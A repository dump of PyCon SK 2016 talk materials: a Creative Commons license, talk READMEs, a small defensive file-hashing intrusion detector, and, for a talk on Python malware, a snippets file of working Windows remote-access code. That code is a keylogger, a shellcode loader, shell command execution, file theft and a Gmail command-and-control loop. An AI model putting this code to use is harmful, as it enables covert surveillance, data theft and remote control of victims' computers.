terms and conditions of this Public License, which are limited to 119 | all Copyright and Similar Rights that apply to Your use of the 120 | Licensed Material and that the Licensor has authority to license. 121 | 122 | j. Licensor means the individual(s) or entity(ies) granting rights 123 | under this Public License. 124 | 125 | k. Share means to provide material to the public by any means or 126 | process that requires permission under the Licensed Rights, such 127 | as reproduction, public display, public performance, distribution, 128 | dissemination, communication, or importation, and to make material 129 | available to the public including in ways that members of the 130 | public may access the material from a place and at a time 131 | individually chosen by them. 132 | 133 | l. Sui Generis Database Rights means rights other than copyright 134 | resulting from Directive 96/9/EC of the European Parliament and of 135 | the Council of 11 March 1996 on the legal protection of databases, 136 | as amended and/or succeeded, as well as other essentially 137 | equivalent rights anywhere in the world. 138 | 139 | m. You means the individual or entity exercising the Licensed Rights 140 | under this Public License. Your has a corresponding meaning. 141 | 142 | 143 | Section 2 -- Scope. 144 | 145 | a. License grant. 146 | 147 | 1. Subject to the terms and conditions of this Public License, 148 | the Licensor hereby grants You a worldwide, royalty-free, 149 | non-sublicensable, non-exclusive, irrevocable license to 150 | exercise the Licensed Rights in the Licensed Material to: 151 | 152 | a. reproduce and Share the Licensed Material, in whole or 153 | in part; and 154 | 155 | b. produce, reproduce, and Share Adapted Material. 156 | 157 | 2. Exceptions and Limitations. For the avoidance of doubt, where 158 | Exceptions and Limitations apply to Your use, this Public 159 | License does not apply, and You do not need to comply with 160 | its terms and conditions. 161 | 162 | 3. Term. The term of this Public License is specified in Section 163 | 6(a). 164 | 165 | 4. Media and formats; technical modifications allowed. The 166 | Licensor authorizes You to exercise the Licensed Rights in 167 | all media and formats whether now known or hereafter created, 168 | and to make technical modifications necessary to do so. The 169 | Licensor waives and/or agrees not to assert any right or 170 | authority to forbid You from making technical modifications 171 | necessary to exercise the Licensed Rights, including 172 | technical modifications necessary to circumvent Effective 173 | Technological Measures. For purposes of this Public License, 174 | simply making modifications authorized by this Section 2(a) 175 | (4) never produces Adapted Material. 176 | 177 | 5. Downstream recipients. 178 | 179 | a. Offer from the Licensor -- Licensed Material. Every 180 | recipient of the Licensed Material automatically 181 | receives an offer from the Licensor to exercise the 182 | Licensed Rights under the terms and conditions of this 183 | Public License. 184 | 185 | b. Additional offer from the Licensor -- Adapted Material. 186 | Every recipient of Adapted Material from You 187 | automatically receives an offer from the Licensor to 188 | exercise the Licensed Rights in the Adapted Material 189 | under the conditions of the Adapter's License You apply. 190 | 191 | c. No downstream restrictions. You may not offer or impose 192 | any additional or different terms or conditions on, or 193 | apply any Effective Technological Measures to, the 194 | Licensed Material if doing so restricts exercise of the 195 | Licensed Rights by any recipient of the Licensed 196 | Material. 197 | 198 | 6. No endorsement. Nothing in this Public License constitutes or 199 | may be construed as permission to assert or imply that You 200 | are, or that Your use of the Licensed Material is, connected 201 | with, or sponsored, endorsed, or granted official status by, 202 | the Licensor or others designated to receive attribution as 203 | provided in Section 3(a)(1)(A)(i). 204 | 205 | b. Other rights. 206 | 207 | 1. Moral rights, such as the right of integrity, are not 208 | licensed under this Public License, nor are publicity, 209 | privacy, and/or other similar personality rights; however, to 210 | the extent possible, the Licensor waives and/or agrees not to 211 | assert any such rights held by the Licensor to the limited 212 | extent necessary to allow You to exercise the Licensed 213 | Rights, but not otherwise. 214 | 215 | 2. Patent and trademark rights are not licensed under this 216 | Public License. 217 | 218 | 3. To the extent possible, the Licensor waives any right to 219 | collect royalties from You for the exercise of the Licensed 220 | Rights, whether directly or through a collecting society 221 | under any voluntary or waivable statutory or compulsory 222 | licensing scheme. In all other cases the Licensor expressly 223 | reserves any right to collect such royalties. 224 | 225 | 226 | Section 3 -- License Conditions. 227 | 228 | Your exercise of the Licensed Rights is expressly made subject to the 229 | following conditions. 230 | 231 | a. Attribution. 232 | 233 | 1. If You Share the Licensed Material (including in modified 234 | form), You must: 235 | 236 | a. retain the following if it is supplied by the Licensor 237 | with the Licensed Material: 238 | 239 | i. identification of the creator(s) of the Licensed 240 | Material and any others designated to receive 241 | attribution, in any reasonable manner requested by 242 | the Licensor (including by pseudonym if 243 | designated); 244 | 245 | ii. a copyright notice; 246 | 247 | iii. a notice that refers to this Public License; 248 | 249 | iv. a notice that refers to the disclaimer of 250 | warranties; 251 | 252 | v. a URI or hyperlink to the Licensed Material to the 253 | extent reasonably practicable; 254 | 255 | b. indicate if You modified the Licensed Material and 256 | retain an indication of any previous modifications; and 257 | 258 | c. indicate the Licensed Material is licensed under this 259 | Public License, and include the text of, or the URI or 260 | hyperlink to, this Public License. 261 | 262 | 2. You may satisfy the conditions in Section 3(a)(1) in any 263 | reasonable manner based on the medium, means, and context in 264 | which You Share the Licensed Material. For example, it may be 265 | reasonable to satisfy the conditions by providing a URI or 266 | hyperlink to a resource that includes the required 267 | information. 268 | 269 | 3. If requested by the Licensor, You must remove any of the 270 | information required by Section 3(a)(1)(A) to the extent 271 | reasonably practicable. 272 | 273 | b. ShareAlike. 274 | 275 | In addition to the conditions in Section 3(a), if You Share 276 | Adapted Material You produce, the following conditions also apply. 277 | 278 | 1. The Adapter's License You apply must be a Creative Commons 279 | license with the same License Elements, this version or 280 | later, or a BY-SA Compatible License. 281 | 282 | 2. You must include the text of, or the URI or hyperlink to, the 283 | Adapter's License You apply. You may satisfy this condition 284 | in any reasonable manner based on the medium, means, and 285 | context in which You Share Adapted Material. 286 | 287 | 3. You may not offer or impose any additional or different terms 288 | or conditions on, or apply any Effective Technological 289 | Measures to, Adapted Material that restrict exercise of the 290 | rights granted under the Adapter's License You apply. 291 | 292 | 293 | Section 4 -- Sui Generis Database Rights. 294 | 295 | Where the Licensed Rights include Sui Generis Database Rights that 296 | apply to Your use of the Licensed Material: 297 | 298 | a. for the avoidance of doubt, Section 2(a)(1) grants You the right 299 | to extract, reuse, reproduce, and Share all or a substantial 300 | portion of the contents of the database; 301 | 302 | b. if You include all or a substantial portion of the database 303 | contents in a database in which You have Sui Generis Database 304 | Rights, then the database in which You have Sui Generis Database 305 | Rights (but not its individual contents) is Adapted Material, 306 | 307 | including for purposes of Section 3(b); and 308 | c. You must comply with the conditions in Section 3(a) if You Share 309 | all or a substantial portion of the contents of the database. 310 | 311 | For the avoidance of doubt, this Section 4 supplements and does not 312 | replace Your obligations under this Public License where the Licensed 313 | Rights include other Copyright and Similar Rights. 314 | 315 | 316 | Section 5 -- Disclaimer of Warranties and Limitation of Liability. 317 | 318 | a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE 319 | EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS 320 | AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF 321 | ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, 322 | IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, 323 | WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR 324 | PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, 325 | ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT 326 | KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT 327 | ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. 328 | 329 | b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE 330 | TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, 331 | NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, 332 | INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, 333 | COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR 334 | USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN 335 | ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR 336 | DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR 337 | IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. 338 | 339 | c. The disclaimer of warranties and limitation of liability provided 340 | above shall be interpreted in a manner that, to the extent 341 | possible, most closely approximates an absolute disclaimer and 342 | waiver of all liability. 343 | 344 | 345 | Section 6 -- Term and Termination. 346 | 347 | a. This Public License applies for the term of the Copyright and 348 | Similar Rights licensed here. However, if You fail to comply with 349 | this Public License, then Your rights under this Public License 350 | terminate automatically. 351 | 352 | b. Where Your right to use the Licensed Material has terminated under 353 | Section 6(a), it reinstates: 354 | 355 | 1. automatically as of the date the violation is cured, provided 356 | it is cured within 30 days of Your discovery of the 357 | violation; or 358 | 359 | 2. upon express reinstatement by the Licensor. 360 | 361 | For the avoidance of doubt, this Section 6(b) does not affect any 362 | right the Licensor may have to seek remedies for Your violations 363 | of this Public License. 364 | 365 | c. For the avoidance of doubt, the Licensor may also offer the 366 | Licensed Material under separate terms or conditions or stop 367 | distributing the Licensed Material at any time; however, doing so 368 | will not terminate this Public License. 369 | 370 | d. Sections 1, 5, 6, 7, and 8 survive termination of this Public 371 | License. 372 | 373 | 374 | Section 7 -- Other Terms and Conditions. 375 | 376 | a. The Licensor shall not be bound by any additional or different 377 | terms or conditions communicated by You unless expressly agreed. 378 | 379 | b. Any arrangements, understandings, or agreements regarding the 380 | Licensed Material not stated herein are separate from and 381 | independent of the terms and conditions of this Public License. 382 | 383 | 384 | Section 8 -- Interpretation. 385 | 386 | a. For the avoidance of doubt, this Public License does not, and 387 | shall not be interpreted to, reduce, limit, restrict, or impose 388 | conditions on any use of the Licensed Material that could lawfully 389 | be made without permission under this Public License. 390 | 391 | b. To the extent possible, if any provision of this Public License is 392 | deemed unenforceable, it shall be automatically reformed to the 393 | minimum extent necessary to make it enforceable. If the provision 394 | cannot be reformed, it shall be severed from this Public License 395 | without affecting the enforceability of the remaining terms and 396 | conditions. 397 | 398 | c. No term or condition of this Public License will be waived and no 399 | failure to comply consented to unless expressly agreed to by the 400 | Licensor. 401 | 402 | d. Nothing in this Public License constitutes or may be interpreted 403 | as a limitation upon, or waiver of, any privileges and immunities 404 | that apply to the Licensor or You, including from the legal 405 | processes of any jurisdiction or authority. 406 | 407 | 408 | ======================================================================= 409 | 410 | Creative Commons is not a party to its public 411 | licenses. Notwithstanding, Creative Commons may elect to apply one of 412 | its public licenses to material it publishes and in those instances 413 | will be considered the “Licensor.” The text of the Creative Commons 414 | public licenses is dedicated to the public domain under the CC0 Public 415 | Domain Dedication. Except for the limited purpose of indicating that 416 | material is shared under a Creative Commons public license or as 417 | otherwise permitted by the Creative Commons policies published at 418 | creativecommons.org/policies, Creative Commons does not authorize the 419 | use of the trademark "Creative Commons" or any other trademark or logo 420 | of Creative Commons without its prior written consent including, 421 | without limitation, in connection with any unauthorized modifications 422 | to any of its public licenses or any other arrangements, 423 | understandings, or agreements concerning use of licensed material. For 424 | the avoidance of doubt, this paragraph does not form part of the 425 | public licenses. 426 | 427 | Creative Commons may be contacted at creativecommons.org. 428 | -------------------------------------------------------------------------------- /Protocol_Libraries_The_Right_Way/Protocol Libraries The Right Way.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Protocol_Libraries_The_Right_Way/Protocol Libraries The Right Way.pdf -------------------------------------------------------------------------------- /Protocol_Libraries_The_Right_Way/README.md: -------------------------------------------------------------------------------- 1 | # Building Protocol Libraries The Right Way 2 | ## Cory Benfield 3 | 4 | Reach me on Twitter as [@lukasaoz](https://twitter.com/lukasaoz) or find me on GitHub as [@Lukasa](https://github.com/Lukasa). 5 | -------------------------------------------------------------------------------- /Python_What_You_Didnt_Know/README.md: -------------------------------------------------------------------------------- 1 | # Python - What you didn’t know you didn’t know... 2 | 3 | ## Martina Šturdíková 4 | 5 | Presentation materials are available here: http://sturdikova.com/pyconsk/PyCon2016Bratislava.html 6 | -------------------------------------------------------------------------------- /Python_a_Malware/README.md: -------------------------------------------------------------------------------- 1 | # Python a malware 2 | ## Peter Matkovski 3 | 4 | -------------------------------------------------------------------------------- /Python_a_Malware/hids.py: -------------------------------------------------------------------------------- 1 | 2 | #!/usr/bin/env python 3 | 4 | ''' 5 | Tiny Host-Based IDS for the poor & lazy 6 | 7 | based on http://blog.makensi.es 8 | 9 | Remotely monitor server installations for file changes and/or file creations. 10 | Useful for monitoring binaries and scripts and warn about unauthorized 11 | modifications or uploads. Just read the prerequisites and edit the basic 12 | options below. 13 | 14 | what this script does: 15 | 1- mounts remote dirs using sshfs 16 | 2- checks their hashes 17 | 3- alerts of changes 18 | 19 | 20 | Prerequisites on the machine running the script: 21 | 22 | 1- sudo apt-get install ssh sshfs md5deep fuse-utils 23 | commands used by the script look like: 24 | $ sshfs user@host:/dir /mountpoint -p 22 25 | $ md5deep -r /mountpoint/file 26 | $ fusermount -u /mountpoint 27 | ensure they are available, you may need to also do: 28 | # chmod g+rw /dev/fuse 29 | # usermod -a -G fuse yourusername 30 | 2- Generate your RSA keys: $ ssh-keygen 31 | 3- Grant login without passwords: $ ssh-copy-id user@host_to_monitor 32 | Test it is indeed working, $ ssh user@host_to_monitor 33 | 4- Edit parameters below 34 | 5- Install as a cron job or whatever 35 | 36 | Prerequisites on the machine to be monitored: 37 | 38 | 1- A working SSH server 39 | 40 | 41 | Known caveats: 42 | 43 | - Be conservative in the number (and size) of the files you monitor. Remember 44 | you are computing hashes across the network. 45 | - Maximum number of files that can be monitored: getconf ARG_MAX (usually ~2M) 46 | - Upon rightful file modifications, hash file must be deleted and recreated 47 | to avoid false alerts. (Or manual edit of the hash file). 48 | Default location: ~/.hashsentry/hostname.hash 49 | 50 | ''' 51 | 52 | 53 | ################# 54 | # BASIC OPTIONS # 55 | ################# 56 | 57 | ######################################################### 58 | # Host specification # 59 | # # 60 | # Connection parameters for SSH. # 61 | # Use localhost for local monitoring # 62 | ######################################################### 63 | host = 'localhost' 64 | user = 'ole' 65 | port = 22 66 | 67 | ######################################################### 68 | # Directories to monitor # 69 | # # 70 | # List of dir pathnames (NOT FILES) to monitor # 71 | # recursively. Files within these root directories will # 72 | # be monitored for checksum changes and new unknown # 73 | # files created inside will be reported. # 74 | # Example: # 75 | # monitor_dirs = [ '/var/www', '/etc', '/bin' ] # 76 | ######################################################### 77 | monitor_dirs = [ 78 | '/usr/share/wordpress/' 79 | ] 80 | 81 | ######################################################### 82 | # Paths to exclude # 83 | # # 84 | # List of absolute pathnames to exclude from monitoring # 85 | # Wildcards can be used. Matching is case insensitive # 86 | # Example: # 87 | # excludes = [ '/var/www/uploads/', '*.png' ] # 88 | # will exclude: # 89 | # - Everything under /var/www/uploads # 90 | # - Files with png extension anywhere # 91 | ######################################################### 92 | excludes = [ 93 | '/usr/share/wordpress/wp-content/uploads/' 94 | ] 95 | 96 | ######################################################### 97 | # Alert by Email # 98 | # # 99 | # Set to False if you wish HashSentry to just report to # 100 | # stdout . # 101 | ######################################################### 102 | send_emails = True 103 | 104 | ######################################################### 105 | # Emails to notify # 106 | # # 107 | # List of emails that will receive the reports. # 108 | # Localhost SMTP will be used by default. # 109 | # Example: # 110 | # alert_emails = [ 'joe@foo.com', 'june@bar.com' ] # 111 | ######################################################### 112 | alert_emails = [''] 113 | 114 | 115 | ######################################################### 116 | ######################################################### 117 | # Most people won't need to scroll beyond here # 118 | ######################################################### 119 | ######################################################### 120 | 121 | 122 | #################### 123 | # ADVANCED OPTIONS # 124 | #################### 125 | 126 | ######################################################### 127 | # Hash Algorithm # 128 | # # 129 | # Available hashes: md5, sha1, sha256, tiger, whirlpool # 130 | ######################################################### 131 | HASH = 'md5' 132 | 133 | ######################################################### 134 | # Working Directory # 135 | # # 136 | # Hashes will be stored in this local directory # 137 | # Default: ~/.hashsentry # 138 | ######################################################### 139 | from os import path 140 | WORK_DIR = path.join(path.expanduser('~'), '.hashsentry') 141 | 142 | ######################################################### 143 | # SMTP # 144 | # # 145 | # Mail Transfer Agent host for email alerts. # 146 | ######################################################### 147 | SMTP = 'localhost' 148 | EMAIL_FROM = 'HashSentry ' 149 | 150 | ######################################################### 151 | # Alert only Flag # 152 | # # 153 | # Set to False if you wish HashSentry to send reports # 154 | # even when everything is OK . # 155 | ######################################################### 156 | ALERT_ONLY = True 157 | 158 | ######################################################### 159 | # File size threshold # 160 | # # 161 | # Only files smaller than given threshold will be # 162 | # hashed. # 163 | # Available multipliers: b, k, m, g, t, p # 164 | ######################################################### 165 | MAX_FILESIZE = '100m' 166 | 167 | ######################################################### 168 | ######################################################### 169 | ######################################################### 170 | ######################################################### 171 | ######################################################### 172 | 173 | VERSION = "0.1" 174 | 175 | import sys 176 | import subprocess 177 | import os 178 | import tempfile 179 | import smtplib 180 | import shlex 181 | import fnmatch 182 | import re 183 | from email.MIMEMultipart import MIMEMultipart 184 | from email.MIMEBase import MIMEBase 185 | from email.MIMEText import MIMEText 186 | from email.Utils import COMMASPACE, formatdate 187 | from email import Encoders 188 | 189 | def sendMail(fro, to, subject, text, files=[], server="localhost"): 190 | 191 | msg = MIMEMultipart() 192 | msg['From'] = fro 193 | msg['To'] = COMMASPACE.join(to) 194 | msg['Date'] = formatdate(localtime=True) 195 | msg['Subject'] = subject 196 | 197 | msg.attach(MIMEText(text)) 198 | 199 | for file in files: 200 | part = MIMEBase('application', "octet-stream") 201 | part.set_payload(open(file, "rb").read()) 202 | Encoders.encode_base64(part) 203 | part.add_header('Content-Disposition', 'attachment; filename="%s"' % \ 204 | os.path.basename(file)) 205 | msg.attach(part) 206 | 207 | smtp = smtplib.SMTP(server) 208 | smtp.sendmail(fro, to, msg.as_string()) 209 | smtp.close() 210 | 211 | 212 | 213 | if __name__ == '__main__': 214 | 215 | log = [] 216 | log.append("This is HashSentry v%s" % VERSION) 217 | log.append('Checking files on %s' % host) 218 | 219 | alert = False 220 | 221 | # Check enviroment 222 | dbpresent = True 223 | if not os.path.exists(WORK_DIR): 224 | os.makedirs(WORK_DIR) 225 | dbpresent = False 226 | log.append('Creating %s' % WORK_DIR) 227 | 228 | hashes = os.path.join(WORK_DIR, host + '.' + HASH) 229 | if not os.path.exists(hashes): 230 | log.append('Unable to find hashes file %s' % hashes) 231 | log.append('A new file will be created') 232 | dbpresent = False 233 | 234 | temp_dirs = {} 235 | 236 | # mount sshfs 237 | port = 22 if port == None else port 238 | 239 | for target_dir in monitor_dirs: 240 | 241 | target_dir = os.path.normpath(target_dir) 242 | # create a temporary dir as mount point 243 | temp_dir = tempfile.mkdtemp() 244 | mount_cmd = "sshfs %s@%s:%s %s -p %i -o reconnect,follow_symlinks" % \ 245 | (user, host, target_dir, temp_dir, port) 246 | 247 | # mount dirs 248 | try: 249 | # be sure to always enforce shell=False to avoid injection attacks 250 | retcode = subprocess.call(shlex.split(mount_cmd), shell=False) 251 | 252 | if retcode != 0: 253 | log.append("Error while mounting (%i): %s" \ 254 | % (retcode, mount_cmd)) 255 | alert = True 256 | else: 257 | log.append('Successfully mounted %s@%s:%i:%s -> %s' % \ 258 | (user, host, port, target_dir, temp_dir)) 259 | 260 | temp_dirs[temp_dir] = target_dir 261 | # translate excludes for new mount point 262 | excludes = [i.replace(target_dir, temp_dir) for i in excludes] 263 | 264 | except Exception as e: 265 | log.append("sshfs mount failed: %s" % mount_cmd) 266 | log.append(str(e)) 267 | alert = True 268 | 269 | 270 | # compile regex for exclusion list 271 | excludes = excludes if len(excludes) >= 1 else [''] 272 | excl_regex = '|'.join([fnmatch.translate(x) for x in excludes]) 273 | excl_regex += '(?i)' #ignore case 274 | 275 | filelist = [] 276 | 277 | for temp_dir in temp_dirs: 278 | 279 | for root, dirs, files in os.walk(temp_dir): 280 | 281 | files = [os.path.join(root, f) for f in files] 282 | #filenames with spaces need escaping 283 | files = [f.replace(" ","\ ") \ 284 | for f in files if not re.match(excl_regex, f)] 285 | filelist.extend(files) 286 | 287 | args = " ".join(filelist) 288 | if len(args) == 0: 289 | alert = True 290 | log.append('File list is empty, check your exclusion paths') 291 | log.append('Did the mount commands succeeded? connection error?') 292 | 293 | # compute hashes 294 | 295 | else: 296 | ''' 297 | hashdeep options are: 298 | -t Display a timestamp in GMT with each result 299 | -z Enables file size mode. Prepends the hash with a ten digit 300 | representation of the size of each file processed 301 | -i Size threshold mode. Only hash files smaller than the given 302 | threshold 303 | -X Negative matching, only files not in the list will be displayed 304 | -r Recursive mode 305 | ''' 306 | 307 | if (dbpresent): 308 | cmd = '%sdeep -tz -X %s -i %s -r %s' % \ 309 | (HASH, hashes, MAX_FILESIZE, args) 310 | else: 311 | cmd = '%sdeep -tz -i %s -r %s' % (HASH, MAX_FILESIZE, args) 312 | 313 | try: 314 | p = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE) 315 | output = p.stdout.read() 316 | p.wait() 317 | # translate pathnames 318 | for temp_dir in temp_dirs: 319 | output = output.replace(temp_dir, temp_dirs[temp_dir]) 320 | 321 | if not dbpresent: 322 | # create new hash file 323 | f = open(hashes, 'w') 324 | f.write(output) 325 | f.close() 326 | log.append('Hashes file successfully created: %s' % hashes) 327 | else: 328 | if len(output) == 0: # success 329 | log.append('No hash changes or unknown files') 330 | else: # unmatched inputs 331 | s = ''' 332 | \t___###____##_______########_########__########_ 333 | \t__##_##___##_______##_______##_____##____##____ 334 | \t_##___##__##_______##_______##_____##____##____ 335 | \t##_____##_##_______######___########_____##____ 336 | \t#########_##_______##_______##___##______##____ 337 | \t##_____##_##_______##_______##____##_____##____ 338 | \t##_____##_########_########_##_____##____##_ 339 | ''' 340 | log.append(s) 341 | log.append('') 342 | log.append( 343 | 'The following files did not match any of the registered hashes:' 344 | ) 345 | log.append('') 346 | log.append(output) 347 | 348 | alert = True 349 | 350 | except Exception as e: 351 | log.append("execution failed: %s" % (cmd)) 352 | log.append(str(e)) 353 | 354 | 355 | # housekeeping, unmount sshfs 356 | 357 | for temp_dir in temp_dirs: 358 | unmount_cmd = "fusermount -u %s" % temp_dir 359 | try: 360 | # be sure to always enforce shell=False to avoid injection attacks 361 | retcode = subprocess.call(shlex.split(unmount_cmd), shell=False) 362 | 363 | if retcode != 0: 364 | log.append("Error while unmounting (%i): %s" 365 | % (retcode, unmount_cmd)) 366 | else: 367 | log.append("Successfully unmounted %s" % temp_dir) 368 | 369 | except Exception as e: 370 | log.append("sshfs unmount failed: %s" % unmount_cmd) 371 | log.append(str(e)) 372 | 373 | # send alerts 374 | 375 | report = "\n".join(log) 376 | 377 | if alert or not ALERT_ONLY: 378 | 379 | if send_emails: 380 | log.append('Sending emails...') 381 | subject = "HashSentry Report for %s - OK Status" % \ 382 | host if not alert else \ 383 | "HashSentry ALERT for %s" % host 384 | sendMail(EMAIL_FROM, alert_emails, subject, report, server=SMTP) 385 | log.append('OK') 386 | 387 | print("\n".join(log)) # always report to stdout 388 | -------------------------------------------------------------------------------- /Python_a_Malware/matkovski_python_mallware_v03.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pyconsk/2016-slides/497ccee07341d14632d12aff62ff75d9ca871630/Python_a_Malware/matkovski_python_mallware_v03.pdf -------------------------------------------------------------------------------- /Python_a_Malware/snippets.py: -------------------------------------------------------------------------------- 1 | 2 | class keylogger(threading.Thread): 3 | exit = False 4 | 5 | def __init__(self, jobid): 6 | threading.Thread.__init__(self) 7 | self.jobid = jobid 8 | self.daemon = True 9 | self.hooked = None 10 | self.keys = '' 11 | self.start() 12 | 13 | def installHookProc(self, pointer): 14 | self.hooked = ctypes.windll.user32.SetWindowsHookExA( 15 | WH_KEYBOARD_LL, 16 | pointer, 17 | windll.kernel32.GetModuleHandleW(None), 18 | 0 19 | ) 20 | 21 | if not self.hooked: 22 | return False 23 | return True 24 | 25 | def uninstallHookProc(self): 26 | if self.hooked is None: 27 | return 28 | ctypes.windll.user32.UnhookWindowsHookEx(self.hooked) 29 | self.hooked = None 30 | 31 | def getFPTR(self, fn): 32 | CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) 33 | return CMPFUNC(fn) 34 | 35 | def hookProc(self, nCode, wParam, lParam): 36 | if wParam is not WM_KEYDOWN: 37 | return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) 38 | 39 | self.keys += chr(lParam[0]) 40 | 41 | if len(self.keys) > 100: 42 | sendEmail({'cmd': 'keylogger', 'res': r'{}'.format(self.keys)}, self.jobid) 43 | self.keys = '' 44 | 45 | if (CTRL_CODE == int(lParam[0])) or (self.exit == True): 46 | sendEmail({'cmd': 'keylogger', 'res': 'Keylogger stopped'}, self.jobid) 47 | self.uninstallHookProc() 48 | 49 | return ctypes.windll.user32.CallNextHookEx(self.hooked, nCode, wParam, lParam) 50 | 51 | def startKeyLog(self): 52 | msg = MSG() 53 | ctypes.windll.user32.GetMessageA(ctypes.byref(msg),0,0,0) 54 | 55 | def run(self): 56 | pointer = self.getFPTR(self.hookProc) 57 | 58 | if self.installHookProc(pointer): 59 | sendEmail({'cmd': 'keylogger', 'res': 'Keylogger started'}, self.jobid) 60 | self.startKeyLog() 61 | 62 | class download(threading.Thread): 63 | 64 | def __init__(self, jobid, filepath): 65 | threading.Thread.__init__(self) 66 | self.jobid = jobid 67 | self.filepath = filepath 68 | 69 | self.daemon = True 70 | self.start() 71 | 72 | def run(self): 73 | try: 74 | if os.path.exists(self.filepath) is True: 75 | sendEmail({'cmd': 'download', 'res': 'Success'}, self.jobid, [self.filepath]) 76 | else: 77 | sendEmail({'cmd': 'download', 'res': 'Path to file invalid'}, self.jobid) 78 | except Exception as e: 79 | sendEmail({'cmd': 'download', 'res': 'Failed: {}'.format(e)}, self.jobid) 80 | 81 | class upload(threading.Thread): 82 | 83 | def __init__(self, jobid, dest, attachment): 84 | threading.Thread.__init__(self) 85 | self.jobid = jobid 86 | self.dest = dest 87 | self.attachment = attachment 88 | 89 | self.daemon = True 90 | self.start() 91 | 92 | def run(self): 93 | try: 94 | with open(self.dest, 'wb') as fileh: 95 | fileh.write(b64decode(self.attachment)) 96 | sendEmail({'cmd': 'upload', 'res': 'Success'}, self.jobid) 97 | except Exception as e: 98 | sendEmail({'cmd': 'upload', 'res': 'Failed: {}'.format(e)}, self.jobid) 99 | 100 | class lockScreen(threading.Thread): 101 | 102 | def __init__(self, jobid): 103 | threading.Thread.__init__(self) 104 | self.jobid = jobid 105 | 106 | self.daemon = True 107 | self.start() 108 | 109 | def run(self): 110 | try: 111 | ctypes.windll.user32.LockWorkStation() 112 | sendEmail({'cmd': 'lockscreen', 'res': 'Success'}, jobid=self.jobid) 113 | except Exception as e: 114 | #if verbose == True: print print_exc() 115 | pass 116 | 117 | 118 | 119 | class execShellcode(threading.Thread): 120 | 121 | def __init__(self, shellc, jobid): 122 | threading.Thread.__init__(self) 123 | self.shellc = shellc 124 | self.jobid = jobid 125 | 126 | self.daemon = True 127 | self.start() 128 | 129 | def run(self): 130 | try: 131 | shellcode = bytearray(self.shellc) 132 | 133 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 134 | ctypes.c_int(len(shellcode)), 135 | ctypes.c_int(0x3000), 136 | ctypes.c_int(0x40)) 137 | 138 | buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 139 | 140 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) 141 | 142 | ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), 143 | ctypes.c_int(0), 144 | ctypes.c_int(ptr), 145 | ctypes.c_int(0), 146 | ctypes.c_int(0), 147 | ctypes.pointer(ctypes.c_int(0))) 148 | 149 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 150 | 151 | except Exception as e: 152 | #if verbose == True: print_exc() 153 | pass 154 | 155 | 156 | 157 | class execCmd(threading.Thread): 158 | 159 | def __init__(self, command, jobid): 160 | threading.Thread.__init__(self) 161 | self.command = command 162 | self.jobid = jobid 163 | 164 | self.daemon = True 165 | self.start() 166 | 167 | def run(self): 168 | try: 169 | proc = subprocess.Popen(self.command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 170 | stdout_value = proc.stdout.read() 171 | stdout_value += proc.stderr.read() 172 | 173 | sendEmail({'cmd': self.command, 'res': stdout_value}, jobid=self.jobid) 174 | except Exception as e: 175 | #if verbose == True: print_exc() 176 | pass 177 | 178 | 179 | 180 | 181 | def checkJobs(): 182 | #Here we check the inbox for queued jobs, parse them and start a thread 183 | 184 | while True: 185 | 186 | try: 187 | c = imaplib.IMAP4_SSL(server) 188 | c.login(gmail_user, gmail_pwd) 189 | c.select("INBOX") 190 | 191 | typ, id_list = c.uid('search', None, "(UNSEEN SUBJECT 'gcat:{}')".format(uniqueid)) 192 | 193 | for msg_id in id_list[0].split(): 194 | 195 | #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id)) 196 | 197 | msg_data = c.uid('fetch', msg_id, '(RFC822)') 198 | msg = msgparser(msg_data) 199 | jobid = msg.subject.split(':')[2] 200 | 201 | if msg.dict: 202 | cmd = msg.dict['cmd'].lower() 203 | arg = msg.dict['arg'] 204 | 205 | #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid)) 206 | 207 | if cmd == 'execshellcode': 208 | execShellcode(arg, jobid) 209 | 210 | elif cmd == 'download': 211 | download(jobid, arg) 212 | 213 | elif cmd == 'upload': 214 | upload(jobid, arg, msg.attachment) 215 | 216 | elif cmd == 'screenshot': 217 | screenshot(jobid) 218 | 219 | elif cmd == 'cmd': 220 | execCmd(arg, jobid) 221 | 222 | elif cmd == 'lockscreen': 223 | lockScreen(jobid) 224 | 225 | elif cmd == 'startkeylogger': 